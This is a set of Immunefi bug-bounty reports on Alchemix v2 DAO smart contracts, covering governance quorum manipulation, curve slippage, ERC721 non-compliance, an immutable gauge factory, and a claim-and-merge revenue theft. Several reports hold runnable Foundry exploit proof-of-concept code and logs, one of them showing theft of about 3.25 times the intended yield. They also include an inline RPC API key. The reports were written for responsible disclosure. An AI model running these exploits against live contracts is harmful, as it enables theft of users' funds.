        createVeAlcx(jimmy, 15_000e18, MAXTIME, false);
       
        assertFalse(voter.isWhitelisted(usdc));

        (address[] memory t, uint256[] memory v, bytes[] memory c, string memory d) = craftTestProposal();

        hevm.warp(block.timestamp + 2 days); // delay

        uint256 quorum = governor.quorum(block.timestamp);
        uint256 votingPower = veALCX.getVotes(admin);

        assertGt(votingPower, quorum, "voting power should be greater than quorum");

        // propose
        hevm.startPrank(admin);
        uint256 pid = governor.propose(t, v, c, d, MAINNET);
        hevm.warp(block.timestamp + governor.votingDelay() + 1); // voting delay
        hevm.roll(block.number + 1);
        hevm.stopPrank();

        // vote by sara
        hevm.startPrank(sara);
        governor.castVote(pid, 1);
        hevm.stopPrank();
        // vote by jimmy
        hevm.startPrank(jimmy);
        governor.castVote(pid, 1);
        hevm.warp(block.timestamp + governor.votingPeriod() + 1); // voting period
        hevm.stopPrank();

        // execute
        hevm.startPrank(admin);
        hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); // execution delay
        hevm.expectRevert(abi.encodePacked("Governor: proposal not successful"));
        governor.execute(t, v, c, keccak256(bytes(d)), MAINNET);

        hevm.warp(block.timestamp + governor.votingPeriod() + 10); // update timestamp
        hevm.stopPrank();
       
        // Update quorum numerator with governance

        address executor = address(governor.timelock());

        // Prepare the calldata
        bytes memory calldataRequired = abi.encodeWithSelector(
        bytes4(keccak256("updateQuorumNumerator(uint256)")),1000);

        // Add it to the queue
        governor.pushCalldata(calldataRequired);

        hevm.startPrank(address(executor));

        // Impersonate the executor and call the function
        // Update.
        governor.updateQuorumNumerator(1000);

        hevm.stopPrank();

        // Execute past defeated Proposal
        governor.execute(t, v, c, keccak256(bytes(d)), MAINNET);


        assertTrue(voter.isWhitelisted(usdc));
    }
```

3- Run test

```
forge test --match-test "test_Execute_Defeated_Proposal_After_Update_Quorum" --fork-url https://eth-mainnet.public.blastapi.io -vvvv
```


# 30939 - \[SC - Critical] Misuse of curve pool calls results for precisio...

Submitted on May 8th 2024 at 16:46:08 UTC by @OceanAndThunders for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30939

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol>

Impacts:

* Protocol insolvency
* Contract fails to deliver promised returns, but doesn't lose value

## Description

Hello team,

## Brief/Intro

**Explaining the curvePool's exchange\_underlying logic** The pool adapter contracts (CurveMetaPoolAdapter) uses the curve pool to melt and swap tokens, however the understanding of exchange and exchange\_underlying calls are not being properly used and understood which allows the protocol vulnerable to precesion loss (which leads to successful sandwich attacks against the RevenueHandler contract) and unintended revert calls which user's transactions will fails to deliver promised returns

## Vulnerability Details

The curve pool contracts uses the famous "minimum amount to receive" argument for swap (exchange/exchange\_underlying functions) calls, this option allows a user who tries to exchange userA for userB to specify the minimum amount of tokenB to receive, and if the amount is under the swap shall revert, this mechanism will prevent front running hacks, and sandwich attacks

see the curve pool exchange\_underlying function (etherscan.io/address/0x890f4e345B1dAED0367A877a1612f86A1f86985f)

```
@external
@nonreentrant('lock')
def exchange_underlying(i: int128, j: int128, dx: uint256, min_dy: uint256) -> uint256:
    """
    @notice Perform an exchange between two underlying coins
    @dev Index values can be found via the `underlying_coins` public getter method
    @param i Index value for the underlying coin to send
    @param j Index valie of the underlying coin to recieve
    @param dx Amount of `i` being exchanged
    @param min_dy Minimum amount of `j` to receive
    @return Actual amount of `j` received
```

While the forth arg (min\_dy) is the minimum amount of `j` to receive of underlying token to get

After the swap is done, it will compare the tokens converted to min\_dy, and it shall reverts as I explained previously :

```
    assert dy >= min_dy, "Too few coins in result"
```

You can read more at : <https://curve.readthedocs.io/exchange-pools.html>

```
Perform an exchange between two coins.

i: Index value for the coin to send

j: Index value of the coin to receive

_dx: Amount of i being exchanged

_min_dy: Minimum amount of j to receive

Returns the actual amount of coin j received. Index values can be found via the coins public getter method.

expected = pool.get_dy(0, 1, 10**2) * 0.99
pool.exchange(0, 1, 10**2, expected, {"from": alice})
```

***

***

**The issue**

While the amount of underlying token to send is likely to be much higher or lower than the amount of underlying token to receive, The 'RevenueHandler' however sets the amount to send is as the same as the amount to receive (see : <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/RevenueHandler.sol#L288>) line 292, 293

```
  return
            IPoolAdapter(poolAdapter).melt(
                revenueToken,
                tokenConfig.debtToken,
                revenueTokenBalance,
                revenueTokenBalance
            );
```

and the poolAdapter's melt is as :

```
  function melt(
        address inputToken,
        address outputToken,
        uint256 inputAmount,
        uint256 minimumAmountOut
    ) external override returns (uint256) {
        TokenUtils.safeApprove(inputToken, pool, inputAmount);
        return
            ICurveMetaSwap(pool).exchange_underlying(
                tokenIds[inputToken],
                tokenIds[outputToken],
                inputAmount,
                minimumAmountOut,
                msg.sender
            );
```

Input amount is the amount of underlying token to send and the minimumAmountOut is the expected amount in to receive to prevent front running and sandwich attacks

Setting the Input amount to send the same as minimumAmountOut is a huge mistake, as will actually results for these two cases :

**Case1/** : tokenA's value is higher than tokenB's value, so 100 tokenA equal to 1000 tokenB,

> so here when 100 is set as inputAmount and minimumAmountOut, will not actually prevent sandwich attack and will make the "RevenueHandler" contract be a victim of sandwich/frontrunning attack as the slippage is very low (sending 100 and expecting 1000 as basic, however the minimumAmountOut indecates that it's okat to receive any amount higher than 100 !)

**Case2/** : tokenA's value is lower than tokenB's value, so 100 tokenA equal to 50 tokenB,

> so here when 100 is set as inputAmount and minimumAmountOut, will make the call :

```
RevenueHandler>checkpoint>_melt>CurveMetaPoolAdapter.melt>curvePool.exchange_underlying
```

reverts with "Too few coins in result" as the revenue contract was is supposed to get 50 tokenB but it set it's "minimumAmountOut" to 100, this will makes the checkpoint call always reverts, and thus the contract will loses it's value permanently (since the minimumAmountOut is set by default and not controlled nor edited) !

## Impact Details

Setting the Input amount to send the same as minimumAmountOut is a huge mistake, as will actually results for these two cases :

**Case1/** : tokenA's value is higher than tokenB's value, so 100 tokenA equal to 1000 tokenB,

> so here when 100 is set as inputAmount and minimumAmountOut, will not actually prevent sandwich attack and will make the "RevenueHandler" contract be a victim of sandwich/frontrunning attack as the slippage is very low (sending 100 and expecting 1000 as basic, however the minimumAmountOut indecates that it's okat to receive any amount higher than 100 !)

**Case2/** : tokenA's value is lower than tokenB's value, so 100 tokenA equal to 50 tokenB,

> so here when 100 is set as inputAmount and minimumAmountOut, will make the call :

```
RevenueHandler>checkpoint>_melt>CurveMetaPoolAdapter.melt>curvePool.exchange_underlying
```

reverts with "Too few coins in result" as the revenue contract was is supposed to get 50 tokenB but it set it's "minimumAmountOut" to 100, this will makes the checkpoint call always reverts, and thus the contract will loses it's value permanently (since the minimumAmountOut is set by default and not controlled nor edited) !

## References

<https://curve.readthedocs.io/exchange-pools.html>

## Proof of Concept

checking both cases for "0x890f4e345B1dAED0367A877a1612f86A1f86985f" and "0xa5407eae9ba41422680e2e00537571bcc53efbfd" ....etc and all curve pools

get\_dy\_underlying function checks how much a user shall receive for the exchange 1000 token for i against j !

Used truffle and ganache :

```
ganache-cli --fork https://mainnet.infura.io/v3/ef9488938aac4f0e9d3f755bb20b2cc0 --networkId 5777
```

```
truffle console --networkId 5777
```

Enter the following commands one by one :

```
// copy the "0x890f4e345B1dAED0367A877a1612f86A1f86985f" contract abi at /test/abi.json (implementation of 0xba7d1581Db6248DC9177466a328BF457703c8f84)
const abi = require('./test/abi.json');

const v_ = "0x890f4e345B1dAED0367A877a1612f86A1f86985f"
const Web3 = require('web3');
const vc = new web3.eth.Contract(abi,v_);
await vc.methods.get_dy_underlying(0,1,1000).call()
//will returns
//'20'
```

so for that case when the InputAmount is the same as minAmountOut (as 1000 both) will make the call reverts with "Too few coins in result" as the revenue contract was is supposed to get 20 on token J but it set it's "minimumAmountOut" to 1000 !

case 2, make this call on the same session

```
await vc.methods.get_dy_underlying(1,0,1000).call()
//will returns '47211'
```

so for that case when the InputAmount is the same as minAmountOut (as 1000 both) will make the call RevenueHandler contract prone to sandwich/front run attack, as the revenue contract was is supposed to get 47211 on token J but it set it's "minimumAmountOut" to 1000 ! this is a very high slippage rate, when such a call is made the revenueHandler contract is prone to lose 460% of it's return by front running/sandwich attacks

Regards,

Adam


# 30951 - \[SC - Low] Incorrect ownerOf implementation makes veALCX n...

Submitted on May 8th 2024 at 21:43:15 UTC by @marchev for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30951

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value

## Description

## Brief/Intro

The ERC721 standard requires that ownership queries for NFTs assigned to the zero address must revert, indicating invalid/non-existent NFT. However, the `VotingEscrow#ownerOf()` implementation in veALCX returns `address(0)` instead, violating this standard. This deviation risks causing functional and security issues in external systems that integrate with veALCX and rely on standard ERC721 behavior.

## Vulnerability Details

The [ERC721 specification](https://eips.ethereum.org/EIPS/eip-721) states the following:

```
    /// @notice Find the owner of an NFT
    /// @dev NFTs assigned to zero address are considered invalid, and queries
    ///  about them do throw.
    /// @param _tokenId The identifier for an NFT
    /// @return The address of the owner of the NFT
    function ownerOf(uint256 _tokenId) external view returns (address);
```

This means that every compliant ERC721 token must implement the `ownerOf()` function so that it throws if a `_tokenId` is passed that belongs to `address(0)`. However, `VotingEscrow`'s implementation looks like this:

```sol
    /// @inheritdoc IVotingEscrow
    function ownerOf(uint256 _tokenId) public view override(IERC721, IVotingEscrow) returns (address) {
        return idToOwner[_tokenId];
    }
```

For a non-existent `_tokenId`, this implementation will return `address(0)` instead of reverting. This behavior is not compliant with the ERC721 specification.

This non-compliance can lead to serious compatibility issues with external integrations that rely on standard ERC721 behavior. Applications expecting a revert when querying ownership of an invalid NFT might instead receive a non-reverting response, potentially resulting in erroneous processing or security vulnerabilities in systems interacting with veALCX.

## Impact Details

Non-compliance with the ERC721 standard in veALCX's implementation could lead to interoperability issues and security vulnerabilities in external systems that rely on standard behavior for processing ownership data. This could result in erroneous executions and potential breaches in decentralized applications interfacing with veALCX.

To better demonstrate the potential impact of this vulnerability, I have developed a PoC that showcases how this issue could lead to a permanent loss of NFTs. Please see it in the Proof of Concept section below.

The designation of the vulnerability as **Medium** severity is justified given its high potential impact on the disruption of integrations with other protocols. Similar vulnerabilities have been reported and classified with medium severity, underscoring the consistency in assessing the potential risks associated with non-compliance to the ERC721 standard. Examples:

<https://solodit.xyz/issues/m-19-holographerc721approve-not-eip-721-compliant-code4rena-holograph-holograph-contest-git>

<https://solodit.xyz/issues/m-02-violation-of-erc-721-standard-in-verbstokentokenuri-implementation-code4rena-collective-collective-git>

<https://solodit.xyz/issues/m-24-mintableincentivizederc721-and-ntoken-do-not-comply-with-erc721-breaking-composability-code4rena-paraspace-paraspace-contest-git>

## References

Problematic implementation:

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L230-L232>

Docs references which state that ERC721 compliance is expected:

* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L16>
* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/CONTRACTS.md>

## Proof of Concept

Let's examine a hypothetical scenario:

**Context:** LiquidityHub is a fictional platform where users can stake their veALCX. In return, they receive enhanced rewards. The LiquidityHub manages these veALCXes, allowing users to stake on behalf of the hub and later redeem them. Upon redemption, LiquidityHub deducts an exit service fee before returning the remaining balance to the user.

Here’s how the vulnerability could result in Alice's veALCX becoming irretrievably stuck:

1. Alice uses the `VotingEscrow` contract to create a veALCX lock on behalf of the `LiquidityHub`, which assigns the ownership of the veALCX to the LiquidityHub.
2. Alice calls the `stake()` function on the `LiquidityHub` contract with the veNFT's token ID. The function verifies that the LiquidityHub is the owner before marking it as staked.
3. When Alice wishes to redeem, she calls `startCooldown()` and after the cooldown period expires triggers the `redeem()` function in the LiquidityHub.
4. The LiquidityHub calls `withdraw()` in the `VotingEscrow` to "burn" the veALCX and withdraw the BPT tokens.
5. The LiquidityHub checks the burn status by expecting the `ownerOf()` call to revert, indicating the token no longer exists.
6. If `ownerOf()` does not revert and returns any address, the LiquidityHub reverts the transaction, signaling an unsuccessful burn. If `ownerOf()` reverts, the LiquidityHub clears its record of the token, recognizing the successful redemption and burn.

The following coded PoC code illustrates the potential impact and how the veALCX can remain stuck due to a failed validation of its burned status.

Add the following contract at the end of `VotingEscrow.t.sol`:

```sol

contract LiquidityHub {
    VotingEscrow public veALCX;
    mapping(uint256 => address) public stakedTokens;

    constructor(address _veALCX) {
        veALCX = VotingEscrow(_veALCX);
    }

    // Function for Alice to stake her veALCX which is already in the name of this hub
    function stake(uint256 tokenId) external {
        require(veALCX.ownerOf(tokenId) == address(this), "Hub is not the owner");

        // Marking the token as staked
        stakedTokens[tokenId] = msg.sender;
    }

    function startCooldown(uint256 tokenId) external {
        require(veALCX.ownerOf(tokenId) == address(this), "Hub is not the owner");
        require(stakedTokens[tokenId] == msg.sender, "Not staked by you");

        veALCX.startCooldown(tokenId);
    }

    // Function to redeem the veALCX and encounter the issue
    function redeem(uint256 tokenId) external {
        require(stakedTokens[tokenId] == msg.sender, "Not staked by you");

        // Call withdraw from veALCX
        veALCX.withdraw(tokenId);

        // Use try-catch to check if the token has been successfully burned
        try veALCX.ownerOf(tokenId) {
            // If this call does not fail, then assume the token was not burned successfully
            revert("Token not burned properly");
        } catch {
            // Catch the error to confirm token is burned
            // Only reach here if ownerOf() reverts, which is expected upon successful burn
        }

        // Clear the staking record
        delete stakedTokens[tokenId];

        // Additional logic to handle the release of funds or other benefits to the user
        // E.g. send 5% fee to LiquidityHub treasury + remaining funds to Alice
    }
}
```

Also, add the following test case to `VotingEscrowTest`:

```sol
    function test_incorrect_erc721_ownerof_implementation_can_lead_to_nft_loss() public {
        address alice = address(31337);
        LiquidityHub liquidityHub = new LiquidityHub(address(veALCX));
        deal(bpt, alice, 50 ether); // Make sure Alice has some BPT

        vm.startPrank(alice);
        IERC20(bpt).approve(address(veALCX), 10 ether);
        uint256 tokenId = veALCX.createLockFor(10 ether, 180 days, false, address(liquidityHub));
        liquidityHub.stake(tokenId);

        vm.warp(block.timestamp + 181 days);

        liquidityHub.startCooldown(tokenId);

        vm.warp(block.timestamp + 7 days);

        liquidityHub.redeem(tokenId);
        vm.stopPrank();
    }
```

Make sure the following entries are updated in `Makefile`:

```sh
# file to test 
FILE=VotingEscrow

# specific test to run
TEST=test_incorrect_erc721_ownerof_implementation_can_lead_to_nft_loss
```

Run the PoC via `make test_file_test`

This example is streamlined to focus on the core issue, leaving out many details of the LiquidityHub’s operations for clarity.


# 30959 - \[SC - Insight] Immutable gauges can break the state of the vot...

Submitted on May 9th 2024 at 06:48:38 UTC by @infosec\_us\_team for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30959

Report type: Smart Contract

Report severity: Insight

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Smart contract unable to operate due to lack of token funds

## Description

## Vulnerability Details

**Gauges** are smart contracts accounting for rewards and passing them through to the pools.

**Pools** are 3rd-party code subject to updates. If any function deprecates, smart contracts interacting with these pools must be able to update their code accordingly.

The **GaugeFactory** creates **Gauges**. There are 2 types of Gauges so far, and the source code of the implementations is hardcoded in the **GaugeFactory**. There is no way to update the implementation of a Gauge if required, nor to add new **Gauges** types with other implementations.

The **Voter** smart contract creates gauges by interacting with the **GaugeFactory**.

Unfortunately, the current implementation of the **Voter** smart contract receives the address of this immutable **GaugeFactory** on deployment, and there is no way to update it.

Even though the role "`emergencyCouncil`" in the **Voter** can deactivate a gauge by calling `Voter.killGauge(address _gauge)`, newly created gauges will still use the same implementation. Therefore the ability to kill gauges only solves half of the problem.

Alchemix must be able to deploy a new **GaugeFactory** and make the **Voter** smart contract use the latest factory, to fix problems/emergencies that can only be solved by updating a gauge's source code or adding a new type of gauge.

At the time of writing, **the only way to react to bugs in a gauge is to deploy a completely new Voter and GaugeFactory, breaking the entire state of the voting system.**

## Recommendation

Create a new function in the `Voter` smart contract allowing the *emergencyCouncil* to update the address of the *GaugeFactory*.

Here's our recommended implementation to future-proof the Voter smart contract:

```

/// @notice A not immutable gauge factory contract address ("immutable" keyword removed)
address public gaugefactory;

// Event emitted when the gauge factory address is updated
event GaugeFactoryUpdated(address indexed gauge);

function updateGaugeFactory(address _gaugefactory) external {
    require(msg.sender == emergencyCouncil, "not emergency council");
    gaugefactory = _gaugefactory;
    emit GaugeFactoryUpdated(_gaugefactory);
}
```

## About Severity

Due to the catastrophic impact this issue may have, we consider the report to be of `Critical` severity.

But because there is a prerequisite, we consider a fair severity to be `High`.

## Proof of Concept

This specific report related to a business logic flag does not require an "executable proof of concept" to verify its validity.

But following the terms of the Boost, here's a function that deploys the voter and explains with comments the consequences of using an immutable gauge when interacting with 3rd-party code (pools).

```
function testDeployVoter() public {
    // Deploying the Voter
    voter = new Voter(address(veALCX), address(gaugeFactory), address(bribeFactory), address(flux), address(alcx));

    // 1- The implementation of the gauges can't be updated

    // 2- The factory itself can't be updated

    // 3- The Voter can't point to a new gauge factory

    // The only solution is to deploy a new Voter contract pointing to a new factory,
    // which breaks the accounting in the voting system.

}

```


# 30972 - \[SC - Critical] Theft of unclaimed yield of the revenue in the ...

## Theft of unclaimed yield of the revenue in the RevenueHandler contract by claimming and merge the tokens

Submitted on May 9th 2024 at 23:19:54 UTC by @perseverance for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30972

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol>

Impacts:

* Theft of unclaimed royalties
* Theft of unclaimed yield

### Description

## Description

### Brief/Intro

Theft of unclaimed yield of the revenue in the RevenueHandler contract by claimming and merge the tokens bug.

RevenueHandler contract is to distributes protocol revenue to veToken holders.

This contract can receive the ERC20 token and users with VeALCX tokens can receive the rewards by calling the function

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol#L186-L225>

```solidity
function claim(
        uint256 tokenId,
        address token,
        address alchemist,
        uint256 amount,
        address recipient
    ) external override {
        require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, tokenId), "Not approved or owner");

        uint256 amountBurned = 0;

        uint256 amountClaimable = _claimable(tokenId, token);
        
        // Redacted for simplicity

        if (amountBurned < amount) {
            IERC20(token).safeTransfer(recipient, amount - amountBurned); // @audit-issue Nếu alchemists[alchemist] == address(0) thì không cần phải burn và có thể chuyển tối đa amountClaimable cho recipient. Chỉ cần msg.sender là owner hoặc approved. 
        }

        emit ClaimRevenue(tokenId, token, amount, recipient);
    }

```

The claimable amount of a user is calculated based on the token balance at each epoch as in the internal function

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol#L297-L326>

```solidity

     function _claimable(uint256 tokenId, address token) internal view returns (uint256) {
        uint256 totalClaimable = 0;
        uint256 lastClaimEpochTimestamp = userCheckpoints[tokenId][token].lastClaimEpoch;
        if (lastClaimEpochTimestamp == 0) {
            /*
                If we get here, the user has not yet claimed anything from the RevenueHandler.
                We need to get the first epoch that they deposited so we know where to start tallying from.
            */
            // Get index of first epoch
            uint256 lastUserEpoch = IVotingEscrow(veALCX).userFirstEpoch(tokenId);
            // Get timestamp from index
            lastClaimEpochTimestamp = (IVotingEscrow(veALCX).pointHistoryTimestamp(lastUserEpoch) / WEEK) * WEEK - WEEK;
        }
        /*
            Start tallying from the "next" epoch after the last epoch that they claimed, since they already
            claimed their revenue from "lastClaimEpochTimestamp".
        */
        for (
            uint256 epochTimestamp = lastClaimEpochTimestamp + WEEK;
            epochTimestamp <= currentEpoch;
            epochTimestamp += WEEK
        ) {
            uint256 epochTotalVeSupply = IVotingEscrow(veALCX).totalSupplyAtT(epochTimestamp);
            if (epochTotalVeSupply == 0) continue;
            uint256 epochRevenue = epochRevenues[epochTimestamp][token];
            uint256 epochUserVeBalance = IVotingEscrow(veALCX).balanceOfTokenAt(tokenId, epochTimestamp);
            totalClaimable += (epochRevenue * epochUserVeBalance) / epochTotalVeSupply;
        }
        return totalClaimable + userCheckpoints[tokenId][token].unclaimed;
    }
```

Each time when the function [checkpoint()](https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol#L228) is called then **currentEpoch** is updated with the current epoch.

So after this RevenueHandler receive some token then the VeAlcx token holders will receive the reward and can claim these rewards by calling claim function in the RevenueHandler() contract.

### The vulnerability

#### Vulnerability Details

For easier to understand, I will explain the bug with some POC code and some data to easier to follow.

Now the attacker can theft of the token in this contract to get several times bigger than intended by Alchemix DAO system. Suppose that the Revenue Handler contract receive 1000 \* e18 DAI token. Suppose that a user is to be receive 200 \* e18 DAI token because he has locked 10 \* e18 BPT into the Voting Escrow contract. (suppose: The total amount of lock BPT is 100 \* e18 BPT).

Now the attacker can manipulate the system top get several times bigger then the intended amount of DAI token. I can demonstrate in the POC section that the attacker can get 650 \* e18 DAI token that is 3.25 times bigger than the intended amount.

How to do that?

Step 1: To prepare for the attack, the attacker will mint many tokenIds. Suppose the attacker has 10 \*e18 BPT as the capital. He will mint 10 tokenIds with each token lock e18 BPT.

```solidity
 for (uint256 i = 0; i < count; i++) {
           tokenIds[i] =  createVeAlcx(attacker, TOKEN_1, 4 weeks, false);
} 
```

Step 2: Wait for the contract RevenueHandler to receive some token. For example in this POC, it is 1000\* 10^18 DAI

Step3: The attacker will choose to launch the attack in the block that have block.timestamp = nearest timestamp that have modulo 2 weeks is zero.

```solidity
    uint256 internal constant WEEK = 2 weeks;
    console2.log("Choose the block.timestamp to be exact time that have modulo WEEK equal to 0"); 
    hevm.warp((block.timestamp / WEEK) * WEEK + WEEK ) ; // The block.timestamp % WEEK = 0 
```

This block.timestamp is important. It is possible to do so, because the Ethereum block now is exact 12 seconds a block. See references: <https://ethereum.org/en/developers/docs/blocks/>

So attacker can choose to launch the attack.

Step 4: The attacker will continuously call the sequence in an attack contract

```solidity
    for (uint256 i = 0; i < count-1; ++i) {
            
            revenueHandler.checkpoint();
            console2.log("i: %s", i);
            tokenId1 = tokenIds[i]; 
            tokenId2 = tokenIds[i+1]; 
            claimable = revenueHandler.claimable(tokenId1, dai);
            console2.log("claimable: %s", claimable);
            revenueHandler.claim(tokenId1, dai, address(0x00), claimable, address(this));
            veALCX.merge(tokenId1, tokenId2);

        }
        
        revenueHandler.checkpoint();
        claimable = revenueHandler.claimable(tokenIds[count-1], dai);            
        console2.log("claimable: %s", claimable);
        revenueHandler.claim(tokenIds[count-1], dai, address(0x00), claimable, address(this));
```

The attack is done. Check the DAI balance of the attacker.

````
```solidity
console2.log("Balance of the attacker: %s",IERC20(dai).balanceOf(attacker));
```
````

**Why this is possible?**

Because in the function \_claimable() above the totalClaimable is calculated

```solidity
    for (
            uint256 epochTimestamp = lastClaimEpochTimestamp + WEEK;
            epochTimestamp <= currentEpoch;
            epochTimestamp += WEEK
        ) {
            uint256 epochTotalVeSupply = IVotingEscrow(veALCX).totalSupplyAtT(epochTimestamp);
            if (epochTotalVeSupply == 0) continue;
            uint256 epochRevenue = epochRevenues[epochTimestamp][token];
            uint256 epochUserVeBalance = IVotingEscrow(veALCX).balanceOfTokenAt(tokenId, epochTimestamp);
            totalClaimable += (epochRevenue * epochUserVeBalance) / epochTotalVeSupply;
        }
```

So the loop is from lastClaimEpochTimestamp + WEEK to currentEpoch and totalClaimable is a sum of the epochRevenue \* epochUserVeBalance / epochTotalVeSupply.

So the epochTimestamp is calculated based and the loop would go up until currentEpoch. This storage variable is updated in checkpoint() function.

Also for this attack, the tokenConfig.poolAdapter is zero and the ERC20 token reward stays in the contract.

When the ERC20 stays in the contract, then everytime checkpoint() is called then the epochRevenues got updated.

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol#L228-L231>

```solidity
            uint256 thisBalance = IERC20(token).balanceOf(address(this));

                // If poolAdapter is set, the revenue token is an alchemic-token
                if (tokenConfig.poolAdapter != address(0)) {
                    // Redacted
                } else {
                    // If the revenue token doesn't have a poolAdapter, it is not an alchemic-token
                    amountReceived = thisBalance;

                    // Update amount of non-alchemic-token revenue received for this epoch
                    epochRevenues[currentEpoch][token] += amountReceived;
                }

```

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol#L228-L231>

```solidity
function checkpoint() public {
        // only run checkpoint() once per epoch
        if (block.timestamp >= currentEpoch + WEEK /* && initializer == address(0) */) {
            currentEpoch = (block.timestamp / WEEK) * WEEK;
    // Redacted    
    }
```

So the currentEpoch is always round down to the timestamp that is modulo of 2 weeks that is 0 .

```solidity
currentEpoch % WEEK = 0 

```

That is the reason that the attacker need to launch the attack at the exact timestamp to be able to exploit this and gain benefit.

So when at this block.timestamp, the attacker can claim the reward amount of the tokenId1. Suppose that the tokenID1 has balance of 10\*\*18

Claimable amount = 10\*\*18 \* K = 19999999999851780798

Then the attacker call merge token to merge tokenId1 with tokenId2

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L618C5-L651C6>

```solidity
function merge(uint256 _from, uint256 _to) external {
        
        // redacted for simplicity

        uint256 value0 = uint256(_locked0.amount);

        // redacted for simplicity
        // redacted for simplicity
        _burn(_from, value0);
        _depositFor(_to, value0, end, _locked1.maxLockEnabled, _locked1, DepositType.MERGE_TYPE);
    }

```

You notice that the balance of tokenId2 is also added with balance of tokenId1 in the \_depositFor

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L1331>

```solidity
    _locked.amount += _value;
```

So now balance of tokenId2 is 2\* 10 \*\* 18

And the claimable amount of tokenId2 is

claimable = BalanceTokenId2 \* K = 2\* 10 \*\* 18 \* K => total claimable = 29999999999932197599

After the first loop, you can see that the claimable in increased abnormally.

This loop can continue and the claimable amount for the attacker is increased.

```
[PASS] testClaimRevenueMerge_Hacked() (gas: 11599416)
Logs:
  Choose the block.timestamp to be exact time that have modulo WEEK equal to 0
  Current block.timestamp: 1716422400
  Balance of the revenueHandler: 1000000000000000000000
  i: 0
  claimable: 19999999999851780798
  i: 1
  claimable: 29999999999932197599
  i: 2
  claimable: 39999999999856511198
  i: 3
  claimable: 49999999999932197599
  i: 4
  claimable: 59999999999854934398
  i: 5
  claimable: 69999999999925890399
  i: 6
  claimable: 79999999999847050398
  i: 7
  claimable: 89999999999913275998
  i: 8
  claimable: 99999999999832859198
  claimable: 109999999999894354398
  Balance of the attacker: 649999999998841051983

```

At the end the total amount that the attacker gained is 649999999998841051983 that is 3.25 times bigger than 19999999999851780798.

This is because after each merge, the balance of the first token is added up to the balance of the second token. So the attacker gain 2 claimable amount for the first token. So by adding more loops, the gain increased but also the gas spent. So attacker will need to calculate to find the optimal value. But for demonstrating purpose, it is enough to show the bug.

## Impacts

## About the severity assessment

The impact is that the attacker will be able to exploit the system to get several times bigger the Claim amount of Revenue Handler contract. For example, in the POC, the attacker can get 3.25 times bigger with the same capital.

The severity: High

Category:

* Theft of unclaimed yield or Theft of unclaimed royalties

Capital for the attack: Gas to execute the transactions. Some amount of BPT to invest to lock to get the VeAlcx tokens. BPT can be big, the the bigger amount of the rewards. Can theft most of the reward token in the contract.

Easy to exploit and easy to be automated.

### Proof of concept

## Proof of concept

I created the POC code as follow:

```solidity
function testClaimRevenueMerge_Hacked() external {
        address owner = revenueHandler.owner();
        // Setup the scenario when PoolAdapter is zero 
        hevm.prank(owner);
        revenueHandler.setPoolAdapter(dai, address(0x00));
        hevm.stopPrank();
        // Start of the test case
        uint256 revAmt = 1000e18; // Revenue is 1000 DAI 
        address attacker = address(this);
        address Alice = address(0x11223344); 
        address Bob = address(0x55667788);
        uint256 count = 10; 
        uint256[] memory tokenIds = new uint256[](count); 
        uint256 tokenId1; 
        uint256 tokenId2; 
        uint256 claimable; 

        for (uint256 i = 0; i < count; i++) {
           tokenIds[i] =  createVeAlcx(attacker, TOKEN_1, 4 weeks, false);
        }
               
        uint256 tokenId7 = createVeAlcx(Alice, 90*TOKEN_1, 4 weeks, false);        

        _accrueRevenueAndJump1Epoch(revAmt);       

        console2.log("Choose the block.timestamp to be exact time that have modulo WEEK equal to 0"); 
        hevm.warp((block.timestamp / WEEK) * WEEK + WEEK );
        console2.log("Current block.timestamp: %s", block.timestamp);
        console2.log("Balance of the revenueHandler: %s",IERC20(dai).balanceOf(address(revenueHandler)));
        
        for (uint256 i = 0; i < count-1; ++i) {
            
            revenueHandler.checkpoint();
            console2.log("i: %s", i);
            tokenId1 = tokenIds[i]; 
            tokenId2 = tokenIds[i+1]; 
            claimable = revenueHandler.claimable(tokenId1, dai);
            console2.log("claimable: %s", claimable);
            revenueHandler.claim(tokenId1, dai, address(0x00), claimable, address(this));
            veALCX.merge(tokenId1, tokenId2);

        }
        
        revenueHandler.checkpoint();
        claimable = revenueHandler.claimable(tokenIds[count-1], dai);            
        console2.log("claimable: %s", claimable);
        revenueHandler.claim(tokenIds[count-1], dai, address(0x00), claimable, address(this));
        console2.log("Balance of the attacker: %s",IERC20(dai).balanceOf(attacker));
    }
```

I already explained the attack above.

The log shows:

```
[PASS] testClaimRevenueMerge_Hacked() (gas: 11599416)
Logs:
  Choose the block.timestamp to be exact time that have modulo WEEK equal to 0
  Current block.timestamp: 1716422400
  Balance of the revenueHandler: 1000000000000000000000
  i: 0
  claimable: 19999999999851780798
  i: 1
  claimable: 29999999999932197599
  i: 2
  claimable: 39999999999856511198
  i: 3
  claimable: 49999999999932197599
  i: 4
  claimable: 59999999999854934398
  i: 5
